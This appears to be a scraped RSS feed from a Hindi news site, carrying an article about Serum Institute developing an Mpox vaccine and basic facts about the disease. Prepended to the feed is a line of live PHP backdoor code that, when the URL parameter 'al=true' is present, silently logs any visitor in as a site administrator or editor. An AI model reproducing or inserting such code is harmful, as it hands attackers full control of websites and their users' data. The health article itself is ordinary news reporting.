// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Serum Institute – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 20 Aug 2024 19:26:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 Mpox की वैक्सीन बना रहा है सीरम इंस्टीट्यूट https://pratyushaashakinayikiran.com/?p=62321 Tue, 20 Aug 2024 19:26:00 +0000 https://pratyushaashakinayikiran.com/?p=62321  नई दिल्ली

दुनिया के कई देशों में एमपॉक्स (Mpox) वायरस के मामले तेजी से बढ़ रहे हैं. पड़ोसी मुल्क पाकिस्तान में अब तक 4 मामले सामने आए हैं. इसी बीच सीरम इंस्टीट्यूट ऑफ इंडिया का कहना है कि वे एमपॉक्स की एक वैक्सीन पर काम कर रहे हैं. सीरम इंस्टीट्यूट के सीईओ अदार पूनावाला ने कहा, 'एमपॉक्स के प्रकोप के कारण घोषित ग्लोबल हेल्थ इमरजेंसी के मद्देनजर,लाखों लोगों की मदद के लिए हम एक वैक्सीन विकसित करने पर काम कर रहे हैं. उम्मीद है कि एक साल के अंदर हमारे पास इससे संबंधित अच्छी खबर होगी.' बता दें कि सीरम इंस्टीट्यूट ने ही कोरोना की वैक्सीन विकसित की थी.

एमपॉक्स क्या है?

एमपॉक्स एक वायरल बीमारी है जो मंकीपॉक्स वायरस के कारण होती है, जो ऑर्थोपॉक्सवायरस जीनस की एक प्रजाति है. एमपॉक्स को पहले मंकीपॉक्स के नाम से जाना जाता था. इस वायरस की पहचान वैज्ञानिकों ने पहली बार 1958 में की थी जब बंदरों में 'पॉक्स जैसी' बीमारी का प्रकोप हुआ था.

एमपॉक्स कैसे फैलता है?

एमपॉक्स वायरल संक्रमण है जो मुख्य रूप से संक्रमित व्यक्ति या जानवर के साथ संपर्क में आने से फैलता है. एमपॉक्स एक व्यक्ति से दूसरे व्यक्ति में संक्रामक त्वचा या मुंह या जननांगों जैसे अन्य घावों के सीधे संपर्क के माध्यम से फैल सकता है. मध्य और पश्चिमी अफ्रीका में अधिकांश मामले उन लोगों में देखे गए हैं जो संक्रमित जानवरों के साथ संपर्क में रहते थे. एक्सपर्ट्स का कहना है कि यह संक्रमण कपड़ों या लिनेन जैसी दूषित वस्तुओं के उपयोग, टैटू की शॉप, पार्लर या अन्य पब्लिक जगहों पर यूज होने वाली कॉमन चीजों से भी फैल सकता है. संक्रमित पशुओं से मनुष्यों को काटने, खरोंचने, खाने या जानवरों के साथ अन्य एक्टिविटी से भी यह वायरस जानवरों से मनुष्यों में फैल सकता है.

एमपॉक्स के लक्षण क्या हैं?

एमपॉक्स से संक्रमित लोगों को अक्सर शरीर पर दाने हो जाते हैं जो हाथ, पैर, छाती, चेहरे या मुंह या जननांगों के आसपास हो सकते हैं. ये दाने अंततः फुंसी (मवाद से भरे बड़े सफेद या पीले दाने) और ठीक होने से पहले पपड़ी बनाते हैं. इसके अन्य लक्षणों में बुखार, सिरदर्द और मांसपेशियों में दर्द भी शामिल है. वायरस से लड़ने की कोशिश करते समय लिम्फ नोड्स भी सूज सकते हैं और दुर्लभ मामलों में यह वायरस जानलेवा भी हो सकता है. इससे संक्रमित व्यक्ति शुरुआती लक्षण से दाने निकलने और फिर ठीक होने तक कई लोगों को संक्रमित भी कर सकता है.

लक्षण कितने दिन तक रहते हैं?

रोग नियंत्रण एवं रोकथाम केंद्र (सीडीसी) के अनुसार, एमपॉक्स के लक्षण वायरस के संपर्क में आने के 21 दिनों के अंदर दिखना शुरू होते हैं. एमपॉक्स के संपर्क में आने और लक्षण दिखने का समय 3 से 17 दिन है. इस दौरान, व्यक्ति में कोई लक्षण नहीं दिखते. लेकिन इस समय के पूरा होने के बाद वायरस का असर दिखने लगता है.

एमपॉक्स का इलाज क्या है?

एमपॉक्स का अभी तक कोई खास इलाज नहीं है. हालांकि, विश्व स्वास्थ्य संगठन (WHO) ने इसके लक्षण दर्द और बुखार की दवा देने की सलाह देता है. सीडीसी का कहना है कि अगर किसी मरीज की इम्यूनिटी अच्छी है और उसे स्किन की बीमारी नहीं है तो वह बिना किसी ट्रीटमेंट के भी ठीक हो सकता है. बस उसे देखभाल की जरूरत होगी.

 

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